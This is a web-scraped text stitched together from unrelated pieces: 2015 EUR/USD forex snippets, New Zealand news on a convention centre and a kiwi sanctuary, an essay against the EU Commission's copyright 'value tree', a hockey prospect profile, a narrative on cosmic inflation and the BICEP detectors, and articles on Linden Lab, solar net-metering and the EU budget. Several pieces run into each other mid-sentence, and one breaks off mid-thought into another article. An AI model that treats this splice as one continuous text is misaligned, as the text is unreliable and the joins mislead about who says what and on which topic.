EUR/USD Daily Analysis - July 17, 2015
Read more » Current Exchange Rate: 1.0881 at the time of analysis update. Intraday overall outlook:. EUR/USD touched a low of 1.0856 and went into a narrow sideways mode for past 18 hours.
EUR/USD Daily Analysis - July 14, 2015
Read more » Current Exchange Rate: 1.1026 at the time of analysis update. Intraday overall outlook:. EUR/USD moved the way we had indicated yesterday but the second level of the support came 11 pips ahead of what we had mentioned.
EUR/USD Daily Analysis - July 13, 2015
Read more » Current Exchange Rate: 1.1075 at the time of analysis update. Intraday overall outlook:. Today was the third time when EUR/USD failed to break over 200-day moving average once again. In fact since June 4th this resistance level is proving to be critical as the breakout in-between had failed to sustain. The sentiments remain bearish.
EUR/USD Daily Analysis - July 07, 2015
Read more » Current Exchange Rate: 1.0974 at the time of analysis update. Intraday overall outlook:. EUR/USD's break of 1.0954 support was the highlight. Though this break did not prove to be decisive but highlights the fact that bearish sentiments are in control. With another break below 1.0954 we would expect the decline to test 1.0887/1.0900 support first.
EUR/USD Daily Analysis - July 03, 2015
Read more » Current Exchange Rate: 1.1098 at the time of analysis update. Intraday overall outlook: Though overall we are still bearish for EUR/USD but today is Friday and considering the recent sideways moves our intraday outlook is neutral. We still expect resistance to hold in 1.1120/1.1125 resistance zone but any break of that resistance should take the pair to retest 1.1177/1.1185 resistance zone.
EUR/USD Daily Analysis - July 02, 2015
Read more » Current Exchange Rate: 1.1076 at the time of analysis update. Intraday overall outlook: EUR/USD moved as we had indicated yesterday and broke below the second target of 1.1058 to touch 1.1032 before entering a sideways mode. The immediate outlook remains bearish as long as the first expected resistance at 1.1087 to 1.1095 holds.
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EUR to USD Interest Rates Comparison
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Please refer the following monthly chart of 10-year historical price-action to check the overall EUR/USD trend.
Main observations for EUR/USD historical price-action and outlook for the near futureGerry Brownlee admits the uncertainty over the Christchurch Convention Centre has been a thorn in the city's side.
Following years of negotiations, it's now been revealed crown-owned Otakaro Limited will take over the anchor project.
SEE ALSO: Brownlee: Progress will not be seen with Convention Centre
It will use design plans developed with private company Plenary Conventions New Zealand.
It means the flagging project may finally get off the ground and be ready for 2019.
Greater Christchurch Regeneration Minister Gerry Brownlee told Mike Hosking it hasn't been easy for anyone with the Convention Centre.
"Throughout the last five years, there's been public angst about the speed and pace of recovery. But in the end you just have to look at it and say we're not doing something for next year or the year after - we're doing something for decades and decades and decades out."
LISTEN ABOVE: GERRY BROWNLEE JOINS MIKE HOSKINGNo the Internet is not a ‘value tree’
if you must compare it to nature a forest would be much more adequate You may have heard that the EU is currently reviewing copyright in order to ensure that it ‘stays fit for purpose in this new digital context’. While the public consultation on this topic is still running, EU officials have started to give some insights on how they see the digital environment that needs to be served by new copyright rules.
In recent weeks officials at the European Commission’s Internal Market and Services Directorate General (which is in charge of copyright policy) have been passing around this diagram of what they call the ‘Internet Ecosystem value tree’:
The “Internet Ecosystem value tree” according to the European Commission.
Apparently this Internet Ecosystem value tree is rather important in how the Commission sees the relationship between copyright and the digital environment. This is expressed in the concerns raised about the ecosystem’s ability to sustain the value tree. Commission officials are pointing out ‘that the roots need to be fed for the tree to keep blossoming’ and that this needs to happen via a ‘transmission belt of Euros’ (which seems to refer to the € Licenses arrow in the diagram above).
A transmission belt of Euros
Now anyone is entitled to their own opinion and views of the world, but it is alarming to see that the very people who are in charge of formulating the rules that will shape our use of the digital environment for years to come are basing their ideas on a rather simplistic model of the Internet, that looks at the Internet as if it was yet another push medium in the the line of newspapers, radio, CDs or television.
The Internet Ecosystem value tree implies that the primary purpose of the Internet – like that of all distribution channels that came before it – is to channel content from producers (the Authors/Artists/Audiovisual and Record Producers/Newspapers and Books Publishers/Broadcasters/Other Creative Industries in the schema above) to a separate group of people called Consumers. In exchange for this the Consumers will pay Distributors and Internet Platforms money for their services, which is then augmented with advertising income. Distributors and Internet Platforms use parts of their income to pay for the content.
What the Commission implies here is that if this transmission belt of Euros does not work, then the entire Internet ecosystem will die off and as a result any public policy aimed at protecting the digital environment must ensure that content producers are paid.
The Internet is not a television
It should be clear to pretty much anyone who has used the Internet that this description does not adequately describe how we interact with content online. The Internet is not a simple content delivery mechanism (such as television) that provides a linear sales channel from producers of content to consumers. While this is one (admittedly important) function of the Internet, it is not the only one.
The Internet as we know it today fulfills many different functions, most of which do not even appear in the Commission’s diagram. These include such elementary things like email and messaging, online discussion groups and communities as well as projects and platforms such as Wikipedia and GitHub, and also online offerings by public educational and cultural institutions. The Internet enables new forms of research (such as text and data mining) and has generally helped to increase collaboration between researchers and spread the results of research.
None of these and other uses of the Internet rely on content produced by the creative industries in the same fundamental way. However they do play an important part in explaining why consumers (and organisations) pay for Internet access and they must be factored in when trying to develop policies that will shape how we can use the Internet.
Look at the forest instead of the tree(s)
Trying to understand the Internet by looking at the European Commission's Internet Ecosystem value tree is like trying to understand a forest by looking at one specific tree. Even worse, as any scholar of biology will be able to tell you, intervening on behalf of one specific type of tree without taking into account the effects on the rest of the forest will almost certainly damage the forest as a whole. Unfortunately it appears that this is exactly the approach that the Commission is intent to pursue: promoting the interests of one particular tree (content producers) even if this comes at the cost of killing or damaging the rest of the forest.
So what is at risk here? There are a number of functions and uses of the Internet that are not well-served by the dogma of 20th century-style copyright policy which consists of more and longer protection, limited user rights and ever more enforcement.
Projects like Wikipedia, uses such as text and data mining, online access to cultural heritage and educational resources, and transformative use of the Internet do not follow the same logic as the traditional content industry value chains. Here limited user rights and long terms of protection become problematic and increased enforcement translates into chilling effects.
At the same time all of these types of uses are exactly what makes the Internet special and drives its potential to accelerate innovation and to democratize access to knowledge, tools and culture. The Internet is the first mass medium that is simultaneously enabling market driven uses, uses that are driven by public policy objectives (such as education or access to culture), and uses driven by people's desire to create, collaborate and contribute to the commons.
Any policy that aims to regulate the Internet (and that includes copyright policy) needs to take this diversity into account and provide room to support these other crucial uses. This will inevitably lead to situations where there are conflicting interests, but these cannot be solved by simply focusing on one particular use of the Internet as the Commission is proposing with its Internet Ecosystem value tree.
No more one size fits all
We need a departure from the one-size-fits-all approach of traditional copyright towards a system that is more flexible and better adapted to the needs of all stakeholders. This includes professional content creators and distributors who need adequate levels of protection for their works, educators and cultural heritage institutions who need more freedoms to do their work in the digital realm, and also end users and researchers who should not have to fear that making use of the Internet will turn them into copyright infringers.
A first step towards ensuring that copyright positively enables all of these outcomes would be to increase the scope of user rights (through updating the existing list of copyright exceptions) and to make copyright more flexible (through the introduction of a fair-use type exception). In the long run this will mean simplifying the way copyright works, and ensuring that copyright protection is only granted where it is necessary (or wanted by the creators).
Looking after the interests of all trees in the Internet Ecosystem is also in the interest of the particular value tree that the Commission seems to care so much about. If the copyright rules continue to hinder those online activities that are not primarily motivated by a transmissions belt of €s, copyright will lose legitimacy and be detrimental primarily to those who rely on the protections offered by copyright law.
Paul KellerHistory
2010-11: Tobias Lindberg played for the SDE HF U18 and U16 teams and played for the gold medal Stockholm 1 team in the annual TV-Pucken tournament for high school players in Sweden. Lindberg had 2 assists with 18 penalty minutes in nine U18 games. In eight games for SDE HF’s U16 team he scored 3 goals with 9 assists and had 18 penalty minutes. Lindberg scored 3 goals with 4 assists in eight TV-Pucken games.
2011-12: Lindberg moved up to to the Djurgardens club, seeing his first U20 action in the SuperElit league as a 16-year-old, and represented Sweden at the 2012 U17 World Hockey Challenge in Canada. He was scoreless and -1 in his only regular season for Djurgardens’ U20 team and was +1 with 1 assist in three playoff games. He played 43 games for Djurgardens’ U18 squad, including four playoff contests. Lindberg scored 21 goals with 20 assists and had 62 penalty minutes. In six games at the WHC he had 1 assist with 4 penalty minutes.
2012-13: Lindberg made his pro hockey debut, playing five games for Djurgardens in Sweden’s second league (Allsvenskan). He was an assistant captain for Djurgardens’ U20 team and led all scorers in the Allsvenskan U18 playoffs. He had 1 assist with the Djurgardens men’s team. In 43 U20 games he scored 9 goals with 13 assists and was -2 with 30 penalty minutes. In the two-game playoff series with Skelleftea he had 2 assists and was +1 with 2 penalty minutes. He scored 9 goals with 12 assists and was +18 with 6 penalty minutes in 14 games for Djurgardens’ U18 team and in nine playoff games scored 4 goals with 10 assists; finishing +8 with 24 penalty minutes. Ranked 99th amongst European skaters in Central Scouting’s final rankings, Lindberg was selected by the Ottawa Senators in the fourth round, 102nd overall, of the 2013 NHL Draft.
2013-14: Lindberg skated in three games for the Djurgardens men’s team in Allsvenksan and was an assistant captain for the club’s U20 team. He competed internationally with Sweden’s U19 team. Lindberg had no points nor penalties in Allsvenskan play. He scored 7 goals with 15 assists and was -6 with 93 penalty minutes in 38 regular season games for the Djurgardens U20 team. Djurgardens finished ninth in the SuperElit league, defeating Skelleftea in a first round series before falling to Farjestads in the quarterfinals. Lindberg scored 2 goals with 1 assist and was -2 with 12 penalty minutes in four playoff games. He had no points nor penalties in four games with the Sweden U19 team. Lindberg was selected by Oshawa in the first round (46th overall) in the 2014 CHL Import Draft.
2014-15: Lindberg was the third-leading scorer for Memorial Cup champion Oshawa behind Michael Dal Colle (NY Islanders) and Cole Cassels (Vancouver) in his first season in North America. He scored 32 goals with 46 assists and was +33 with 14 penalty minutes in 67 games as the Generals dominated the Ontario Hockey League, Oshawa finished first in the East Division and defeated the Erie Otters in the OHL finals. Lindberg scored 7 goals with 12 assists and was -1 with 8 penalty minutes in 21 OHL playoff games. He scored 3 goals with 2 assists and was +5 in four games at the Memorial Cup. Oshawa defeated Kelowna, 2-1 in overtime, in the Memorial Cup final. Lindberg signed a three-year entry-level contract with Ottawa in June 2015.
2015-16: Lindberg made his NHL debut with the Maple Leafs in a March 31st game against Buffalo after spending most of his first pro season in the AHL. He had 2 assists and an even plus/minus with 4 penalty minutes in six NHL games, averaging 16 minutes of ice time. Lindberg began the season with Senators’ affiliate Binghamton and also skated for the Toronto Marlies. He was acquired by Toronto in February 2016 in the nine player trade with Ottawa that sent defenseman Dion Phaneuf to the Senators and netted the Leafs a second-round pick in the 2017 NHL Draft. In 56 regular season AHL games (22 with the Marlies) he scored 11 goals with 23 assists and was +12 with 20 minutes. Toronto finished first in the North Division, advancing to the Eastern Conference finals against Hershey. Linberg had no points and an even plus/minus with 2 penalty minutes in three playoff games.
Talent Analysis
Tobias Lindberg is a big, strong winger with excellent passing skills, and a heavy, accurate shot. He also has the capacity to play in every game situation. As a member of the Oshawa Generals last season, he adapted wonderfully to the team’s smothering 200-foot game and helped to shut down big-time scorers like Connor McDavid and Dylan Strome in the OHL finals. Has the potential to become a second-line winger at best, or a third-line checker that can chip in offensively.
Future
Lindberg made his NHL debut as a 20-year-old, skating in six games with the Leafs in 2015-16 after being acquired from Ottawa as part of a blockbuster trade in February 2016. A big and skilled winger, he will challenge for a roster spot in training camp but barring any surprises or injuries will start the 2016-17 season in the AHL. Lindberg is expected to complement the undersized skill forwards in the Maple Leafs' pipeline like Mitch Marner, Connor Brown, and Jeremy Bracco.The predator proof gate at Shakespear Open Sanctuary is being replaced after it was hit by a vehicle. INSET: Matt Maitland.
Plans to introduce rare little spotted kiwi to Shakespear Regional Park will go ahead despite a vehicle ramming into the pest-free gate near the entrance of the reserve, damaging the gate.
The gate was hit by a vehicle around midnight on 28 January and police are following up using CCTV footage.
This follows another incident in early January when a car hit the fence posts in the Army Bay car park approach, near Whangaparaoa Rd
Supplied Little Spotted Kiwi will soon be running wild in Shakespear Open Sanctuary..
Auckland Council's senior ranger for open sanctuaries, Matt Maitland, is confident no animals got into the reserve, and says they wouldn't have lasted long if they had.
READ MORE:
* Park dream comes closer
* Whitehead release a milestone for Shakespear Open Sanctuary
* North Island robin released behind Shakespear Open Sanctuary predator fence
"With a surveillance network across the 500 hectares of the sanctuary - about 1 per hectare - any animals that do get in make themselves known pretty quickly," he says.
Supplied Gregarious whitehead were the first translocated bird at Shakespear Open Sanctuary.
All gates in the fence are monitored and a temporary fence has been installed until the replacement arrives in a few days time.
Damage to the predator fence gate near Army Bay and the entrance to New Zealand Defence Force land will have no impact on future plans for the sanctuary, Maitland says.
Little spotted, or gray, kiwi are the smallest kiwi and have populations dotted around 11 different sites including Tiritiri Matangi Island, off Shakespear's shores. The biggest population of 1200 birds lives on Kapiti Island.
SUPPLIED North Island Robin released at Tawharanui have thrived but are now vulnerable to rats as they spill outside the sanctuary.
To strengthen genetic lines of the 1500 remaining birds, 10 female kiwi will be transferred from Tiritiri Matangi Island and 10 males from Kapiti Island in late April or early May. Another 20 birds will come in 2018, all from Kapiti Island.
This adds to the already successful reintroduction of 40 gregarious whitehead and 40 North Island robin to the park over the last couple of years. Both bird populations have successfully bred and can now be found throughout the park and along the Whangaparaoa Peninsula, Shakespear Open Sanctuary Society Incorporated (Sossi) chairman Peter Jackson says.
The robin are particularly vulnerable to rats so the efforts of the Hibiscus Coast Forest and Bird to clear the peninsula of pests is important and going well, he says.
Seventy-metres of low fencing is required before the kiwi arrive.
So they can't get around the ends of the predator fence, a low fence will attach to the predator fence, continue back beside the shoreline, and end at a high spot where the birds can't get down onto the beach, Jackson says.
The park has to deal with a lot of potential incursions from the 600,000 annual visitor numbers and day to day activities like farming so the traps or bait stations, tracking panels are pretty robust, he says.
The gates are also robust. The two main gates in and out of the park have opened and closed around a million times since they went in five years ago.The idea was too beautiful to be wrong. That you could start with nothing, apply some basic laws of physics, and get a universe out of it—a universe that was uniform on the largest scales but replete with the lumps and bumps we call stars and galaxies, a universe, that is, that looks like ours —well, it didn’t matter that the theory didn’t quite work at first. It was just too beautiful to be wrong. Inflation. In Alan Guth’s original version of the theory in 1980, the nothingness at the beginning of time wasn’t really nothing at all. It was a field, the inflaton, and it teetered at the edge of a cliff, momentarily stable but not in its most stable, or lowest energy, state. This gave spacetime a negative pressure, creating a kind of anti-gravitational force that would push outward, sending the inflaton—that nascent field that would give birth to inflation—plummeting toward stability, causing the universe to expand exponentially, growing a million trillion trillion times bigger in the blink of an eye.
It was creation nearly ex nihilo —all you needed was the tiniest speck of a universe and inflation would transform it into something truly cosmic. There was just one problem: the plunge to the lowest energy state was a kind of phase transition, like water vapor condensing to liquid, and the transition would dissolve the inflaton into a sea of bubbles—pockets of lowest-energy regions—which would eventually collide and merge, collisions that would leave astronomical upheavals more disfiguring than anything we see on the sky today. Then, in 1981, Andrei Linde saved inflation from itself. He suggested that we didn’t have to worry about those bubbles because inflation could make them so big that our entire universe could fit inside just one of them. It didn’t matter what happened out at the edges or beyond—we’d never see it anyway. There was just one problem. The smooth, scarless space inside the bubble was too smooth, the density of matter so perfectly uniform that nothing so lumpy as stars or galaxies could ever form. It was Linde’s friend and fellow physicist Slava Mukhanov who had the solution: quantum fluctuations.
Inflation was creation nearly ex nihilo.
Quantum fluctuations are born of Heisenberg’s uncertainty principle, which says that certain pairs of physical characteristics—position and momentum, time and energy—are bound together by a fundamental elusiveness, wherein the more accurately we can specify one, the more wildly the value of the other fluctuates. The universe cannot be perfectly uniform—uncertainty will not allow it. At a precise moment in time, energy varies recklessly; at a well-defined position, momentum soars and swerves. Precise moments and well-defined positions normally mean tiny scales of time and space, but inflation blows all that up. Inflation, Mukhanov told Linde, could take these tiny quantum fluctuations on the order of 10 -33 cm and stretch them to astronomical proportions, creating slight peaks and valleys throughout space and laying a gravitational blueprint for what would eventually become a network of stars and galaxies.
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Still, Linde wasn’t satisfied. Getting inflation to start and end in just the right way required the whole thing to be improbably fine-turned. It was beautiful, but unnatural. There would be two more years of work before he found the solution: chaos. Inflation didn’t require fine-tuning, he realized; it didn’t need to teeter on a cliff’s edge. If the inflaton started off in a highly-probable and totally random state, then somewhere amongst the mess, there was bound to be a region with the right properties to spark inflation. From a sea of chaos, a vast island of order would emerge. That’s where the universe stood in the cold Moscow winter of 1986. Gorbachev had recently taken office as the General Secretary of the Communist Party and had just set into motion the perestroika —the restructuring of the Russian political, economic, and educational systems. For physicists like Linde, this engendered a strange silence. The old system for getting academic papers published abroad had been scrapped, but it hadn’t yet been replaced by a new one. So while inflation was being developed in the U.S., Russian physicists were forced to wait. Linde waited in bed. The doctors told him he was perfectly healthy, but he felt awful nonetheless. He was passing the time reading detective stories when the phone rang. It was the administration from the Lebedev Physical Institute, where he worked. They told him he was to travel to Italy to give a public lecture. He didn’t want to go. Under Gorbachev, Linde was allowed only one trip abroad each year, and he wasn’t about to waste it on a public lecture where he wouldn’t be working with other physicists or learning anything new. He told them he was too ill to travel. You are ill today, they said, but you’ll likely be healthy again soon, no? Or are you saying you are unable to go abroad at all? Linde grew scared. He knew if he said that he was unable to go abroad, they might never let him leave again— ever. He needed to prove that he could make the trip, and quickly. It was a Friday. He needed to get to the Hospital of the Academy of Sciences in order to obtain a certificate of health, but he was just learning how to drive and couldn’t risk a battle with the Moscow ice. He decided to pay for a taxi, a financial decision that didn’t come easy. Over the weekend he prepared the necessary travel documentation, and on Monday invested in another taxi ride to the Institute. He paid secretaries to immediately type up his paperwork, which he then ran to every corner of the Institute to get every last signature required. That bureaucratic nightmare ought to have taken a month and a half, and he accomplished it in four days. He dropped off the papers, went home, and collapsed into bed. He didn’t get up for two days. Soon the phone was ringing again. The trip was set, they told him, but the Italians wanted to see his lecture ahead of time—the day after tomorrow. Suddenly, Linde realized he had a golden opportunity. He could get around the systemless system and publish abroad! Instead of handing over his public lecture, he could write a new paper, give it to the powers that be and they would send it abroad for him—by diplomatic mail, no less. There was just one catch: he had half an hour to do it. It was the only way to get it typed up in time. Linde sat with his head in his hands, rolling it from side to side. Think, think. He felt like a compressed spring—he would either bounce to new heights or break under the stress. He knew that theorists can’t simply order up good ideas at will—physics doesn’t work that way. But today, he thought, it was going to have to. Thirty minutes later, he had come up with the theory of the chaotic self-reproducing inflationary multiverse. It was his greatest piece of work. Linde’s new theory reached beyond the bounds of the bubble. In his earlier version, our little patch of inflationary universe would arise from some small stretch of chaos. But while our universe was growing, what was happening behind the scenes? Surely there would be other regions where inflation could crop up. They’d be rare, but it didn’t matter—they would grow so big so rapidly that they would soon dominate the landscape. Each inflationary region creates more of itself—it’s self-reproducing. The process ends locally within each island universe, but on the largest scales it carries on, producing universe after universe after universe. In a half hour, Linde had taken our single universe, once the whole of everything there ever was or would be, and duplicated it, multiplied it, mutated it, sent it through a sequence of funhouse mirrors until it emerged on the other side a mere speck again, a humble, lone bubble in an infinite and growing multiverse.
Seeing gravity waves…it would be like a fish seeing water.
When he first developed the idea of inflation, Linde never for a second thought that it would be technologically feasible to test it. In principle, there were ways—you could look for the tiniest temperature fluctuations in the remnant heat from the Big Bang, those tiny quantum fluctuations that seeded the stars and galaxies, but that was a precision measurement he could barely fathom at the time. And if you wanted to dream even bigger, well, there ought to be something even more fundamental—quantum fluctuations of spacetime itself, primordial gravity waves. Seeing gravity waves…it would be like a fish seeing water. And seeing primordial gravity waves…well, it’s not just any water, it’s the first water, the origin of water, the origin of everything. But the technological skill that it would take to make that kind of measurement—it was downright unthinkable. On good days, he didn’t care. He knew the theory was right, he knew it in his bones. He knew it with the same kind of certainty that Einstein had about general relativity: When observations of the 1919 eclipse came in, proving that gravity bends light just as general relativity predicted, a reporter asked Einstein how he would’ve felt had the experiment turned out differently. “I would have felt sorry for the dear Lord,” Einstein replied, “because the theory is correct.” The Device There was a problem with the antennas. When Chao-Lin Kuo arrived at NASA’s Jet Propulsion Laboratory in Cañada Flintridge, California in 2003, the BICEP team was trying to implement Jamie Bock’s vision for a new polarization detector in their search for primordial gravity waves. Not that the old detectors didn’t work, but the things were unwieldy. Three copper feed horns, a handmade filter, and two detectors per pixel, all hand assembled. It’s not that they weren’t sensitive—they were nearly as sensitive as you can get. Rather, if they wanted better measurements, they didn’t need more sensitive detectors, they needed more detectors—quickly and cheaply. Bock’s vision was to digitize the whole assemblage and print them on circuit boards with microlithography, creating a kind of mass-producible polarimeter-on-a-chip. If it worked, it would change everything. It would be like upgrading from vacuum tubes to integrated circuits. But the team was stuck. They had designed a beautiful antenna array, but its readings kept coming out wrong. A single polarization detector The plan was to mount the detector to a radio telescope at the South Pole, where it would catch light that’s been traveling through an expanding cosmos for the last 13.8 billion years and measure its polarization, or the direction in which the photons are waving relative to the direction of their motion. If they could pin down each photon’s polarization with enough precision and map them across the sky, they’d have some hope of discerning a pattern known as a B-mode, the signature of primordial gravity waves. Kuo, a 30-year-old postdoc, set to work, putting the array through a host of tests until he figured out the problem: it was because the feed lines were crossed. The array looked like a series of X’s, but at the center of each X, the antennas were picking up each other’s signals and screwing up the reading. He set to work on a new design. Kuo knew he had to keep the antennas at right angles from one another so they could subtract the horizontal polarization from the vertical and take the difference. And he had to keep them as symmetric as possible, because the difference they were looking for was one part in 30 million. One part in 30 million. All to find a B-mode. How exactly do you make something like that?
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When he really thought about it, this thing they were trying to do, this thing they were trying to measure, it pushed the bounds of sanity. But Kuo already had a taste for pulling something like this off. As a grad student back at Berkeley, he had worked on the ACBAR experiment, which took measurements of the cosmic microwave background temperature fluctuations. The idea that you could build something with your own two hands, point it at the sky, and see the faintest details of the nascent universe some 14 billion years in the past…well, you had to see it to believe it. You see the pattern. It’s not an image in a textbook or an idea in your mind— it’s on the sky. You look at it and suddenly you realize that you are one of a handful of human beings who has ever cast his eyes on the Big Bang. Well, it’s not exactly the Big Bang; it’s 380,000 years later–a mere eyeblink in the cosmic course of things, but still. To see back to the very beginning, the very first fraction of the very first second, you need something better than light. You need gravity.
…suddenly you realize that you are one of a handful of human beings who has ever cast his eyes on the Big Bang.
Kuo tried design after design. On some level, the antennae weren’t all that different from the kind you’d find in a cell phone, except this cell phone needed to answer calls from the beginning of time. The antenna array would shuffle the incoming photons down to the focal plane, where electromagnetism would be converted to heat and measured by an ultrasensitive thermometer. If you want to capture a signal that’s been steadily weakened over 14 billion years, you better make sure there’s virtually no heat and zero polarization coming from the instrument itself or it will totally swamp the measurement. That means keeping the detectors cooled to 0.25 Kelvin, just the slightest shiver above absolute zero. In the old way of thinking, the signal had to be transported off the focal plane and out of the cooling element to be read out by some room temperature electronics, but the transmission itself through heat conducting wires could warm the focal plane enough to drown out the signal. So Bock’s idea was to have the signals read by superconducting electronics on the focal plane itself using quantum-scale magnetic sensors developed at the National Institute of Standards and Technology in Colorado. In the meantime, they deployed the old detector to the South Pole in an experiment they named BICEP1. For three years, from 2006 to 2008, it would collect that nascent light and look for the slightest patterns of polarization. The BICEP2 focal plane Back at JPL, it was Kuo’s fifth design that stuck. He built an antenna array that looked like a series of H’s, with spaces between the vertical and horizontal lines to avoid having the feed lines intersect. Once the array had been fabricated at JPL, it was time to put them to the test. Kuo placed them carefully in the cryostat. Then he waited. It would take several days to get things cold enough. First, liquid nitrogen would cool it down to 77 Kelvin. Then the liquid helium would kick in, lowering the temperature to 4 Kelvin. Finally, a few cubic centimeters of helium-3, a rare isotope. With helium-3, you have to tread carefully. The stuff is expensive; as a byproduct of plutonium production, it’s a controlled substance. While Kuo waited, he thought about inflation. If that exponential expansion really gave birth to the universe, it ought to have taken quantum fluctuations in spacetime and blown them up across the sky. Some 380,000 years later, the photons that make up the cosmic microwave background radiation would have navigated that same warped spacetime, a journey that would imprint itself uniquely in their polarization. Find the B-mode polarization and you’ve found inflation’s smoking gun. Looking around the lab, he wondered if he was the only one worrying about inflation. These guys were hardware wizards—they want to build cool things. Most of them didn’t have a lot of faith in theory. Kuo respected that. But for him, he needed to understand why he was doing this. Yes, he wanted to build a kickass detector. But he also wanted to know how the universe began. Once the |
privately run welcome areas through to experimental orientation areas to something of a return to the more traditional approach.
Part of the problem here is that everyone tends to have an opinion on how it should be done. Many focus on the technical aspects, some on the social aspects, and well may have common foundations, then often build out in various different directions. This makes drawing a consensus as to what works actually quite difficult – as the Lab has learned.
However, in launching the new apps – particularly Creatorverse and Patterns – Humble sees things differently; that by breaking down the creative process into easily understandable concepts and ideas that allow the user to develop a more intuitive understanding of the creative process – and perhaps then move on to more involved creative environments. As the Kill Screen article also comments:
The Linden apps strategy hopes to bridge the gap between the tactile joys of painting and the more guided pleasures of digital makers. More importantly, Humble’s ultimate goal is digital literacy. As he struggled as an amateur, he found that his appreciation of the masters was heightened. The jazzy rhythms of Kandinsky took on new life as he was able to speak the painter’s language. Humble hopes that games like Creatorverse will foster a greater appreciation of the creative process behind designing digital goods. “The hope is that the more people make things, the more they have a richer language to express criticism.”
Whether this will lead people from the likes of Creatorverse to Second Life is questionable; but where Patterns is concerned, there is something of a path where this may happen; both it and Second Life are somewhat grounded in similar concepts, something a number of commentators – myself included – have noted. Obviously for it to be effective, there needs to be some pointing of the finger towards the doorway from either Patterns to Second Life, which is currently far from being evidenced; but then Patterns is also a long way from prime-time as well.
Perhaps more telling from an SL standpoint is a direct quote from Humble:
“I like rebelling against the tyranny of structured forms,” Humble says. Sims creator Will Wright’s approach to “software as toys” was an inspiration to Humble while the latter was at EA. The constraints that game designers typically place on their players are anathema to the more open-ended creative process that Humble sees as the future of play. “Instead of being told you need to do these tasks to proceed to the next air lock of fun, why not open those doors and give you the ability to fly around?”
This not only encapsulates the broader aims of the likes of Creatorverse and Patterns in reaching new audiences and (maybe) enticing them towards Second Life, it more particularly seems to point to why Linden Lab has, on the one hand, been pushing out new tools and capabilities on their users while on the other, seeming to step back from “direct” involvement within SL. That is, the company is simply trying to present users new and old with as wide a palette of tools and capabilities as possible (mesh, pathfinding, the still-to-be-completed advanced creation tools, the upcoming materials processing capabilities, etc.) they can use create and explore the 3D spaces offered by SL without feeling constrained by the constant presence of the company looking over their shoulder.
Doubtless there will be disagreements with this view and with Humble’s comments in general; however they do make interesting reading. For me, and despite all the problems which are looming on the horizon where SL is concerned, I can’t help but come away from it with a feeling that (again) neither Humble nor LL have given up on their core platform.
With thanks to Daniel Voyager for the Twitter pointer.
AdvertisementsSolar energy has become increasingly powerful. Its rise to the top, however, hasn’t been without a few bumps along the way.
Regulatory battles pitting the solar industry against power companies in a fight over payment models played out in several states this year. As the dust settles, solar providers are claiming victory. Utilities, on the other hand, are trying to reframe the conversation entirely by insisting they aren’t an enemy of the industry.
Much of the debate so far has centered around a policy on the books in 43 states called net-metering. Net-metering allows rooftop solar owners to sell excess electricity back to the grid, with utilities issuing full retail credit to the customer based on the amount of power they provide.
Utilities are pushing to scale back or get rid of net-metering, calling it a subsidy that solar has outgrown. The rooftop solar industry, on the other hand, has resisted the fight to dismantle net-metering, arguing that it’s an equitable way of paying for power generation.
In a series of high-profile cases this year in Arizona, California, Idaho, and Louisiana, state lawmakers and regulatory commissioners sided with industry and moved to either uphold or strengthen net-metering.
“The national story right now is quite clear,” said Bryan Miller, the president of the Alliance for Solar Choice, a solar-advocacy organization. “There have now been four major verdicts on net-metering, and in every case proposed regulatory changes to the policy have been rejected.”
A second point of contention has been whether utilities should charge solar customers extra. Utilities say additional fees are needed to defray the cost of grid upkeep. Opponents say power companies simply want to stamp out competition.
In November, Georgia Power backed down from a proposal to tack on fees for rooftop solar customers amid pressure from consumer advocates and solar boosters. And in Idaho, the state public utilities commission rejected a similar proposal.
Arizona bucked the trend when the Arizona Corporation Commission decided that Arizona Public Service, the state’s largest utility company, could hike rates for solar customers.
It sounds like a win for the utility. But solar groups say it’s not.
“In Arizona, APS got a lot less [in terms of the fee] then what they were asking for,” Miller commented. “They wanted the fees to be somewhere in the range of 50 to 100 dollars so the final ruling shows the political boundaries of the issue. And at the same time the commission upheld net-metering.”
Utilities providers, unsurprisingly, have a somewhat different perspective.
“The commission’s decision recognizes there is a cost shift occurring where solar users aren’t paying what they should for use of the grid,” said David Owens, the executive vice president of the Edison Electric Institute, a trade association for U.S. investor-owned electric companies.
Solar groups gained more ground than they lost this year. But declarations of victory by either side fail to capture the whole picture.
“There is an unfair characterization of utilities versus solar,” Owens said. “I’m not afraid of rooftop solar. We see opportunities there and we’re investing in utility scale and other solar projects. We’re not anti-solar at all.”
What is clear is that heading into next year the question of solar power payment has not been resolved.
State-level decisions impacting net-metering and fees for solar customers are begining to look like just the start of a much larger conversation around reworking utility payment structures in the age of distributed generation, an era whose hallmark will be customers that create their own electricity without needing to rely on a centralized power generator.
Both sides know the conversation is coming, if it hasn’t already arrived.
“What we need to be talking about is what’s the best way to allocate costs and how can we do this equitably and continue to enhance the grid,” Owens said. “What we’ve seen this year is a recognition in various states that current rate-design structures are not working and they need to be revisited.”
For once, rooftop solar advocates don’t disagree.
“I think we’re seeing is that regulators realize that you have to address these issues in the context of rate design,” Miller said. “The main thing is that when we look at rate design as a whole, solar shouldn’t be made a target.”The European Commission and top German politicians are becoming increasingly exasperated with both France and Britain as the summit in Brussels to determine the EU budget for the seven-year period from 2014 to 2020 approaches.
Both countries have been insistent on getting their way as member states position themselves for what promise to be difficult talks -- and both London and Paris have threatened to veto the budget if it doesn't meet their expectations. In response, European Energy Commissioner Günther Oettinger, Germany's representative on the EU's executive body, has harshly criticized the two countries.
In a speech before the German association representing magazine publishers in the country, Oettinger warned against "cheap populism" when reporting on Greece, before saying "my problem children are France and Great Britain." By way of explanation, he said that with its anti-EU course, London has "taken leave of its senses." He added that tabloids such as The Sun appear to be trying to force Britain out of the EU. Turning to France, he said the country had too little industry and innovation.
Oettinger's comments were echoed on Friday by a close confidant of Chancellor Angela Merkel in an interview with SPIEGEL ONLINE. Volker Kauder, head of Merkel's conservatives in parliament, said that "Europe will not make progress without a functioning Franco-German axis."
Kauder was critical of France's socialist leadership, saying that "we can only hope that President François Hollande moves a bit closer to the chancellor" when it comes to combating the euro crisis. He added: "It would be good if the socialists there undertook real and courageous structural reforms. That would be good for the country and good for Europe."
'Prepared to Compromise'
If anything, Kauder was even firmer when it came to London. "I want Europe to stay together," he said. "Great Britain can't constantly claim special treatment; they too have to be prepared to compromise."
The two politicians are just the latest to express frustration with the brinksmanship that has so far defined preliminary talks on the EU budget. British parliament recently passed a non-binding resolution demanding substantial cuts to the 1 trillion budget recently proposed by the European Commission. The vote included several lawmakers from David Cameron's own party breaking ranks to force the British prime minister into an uncompromising position at the upcoming summit, scheduled for Nov. 22.
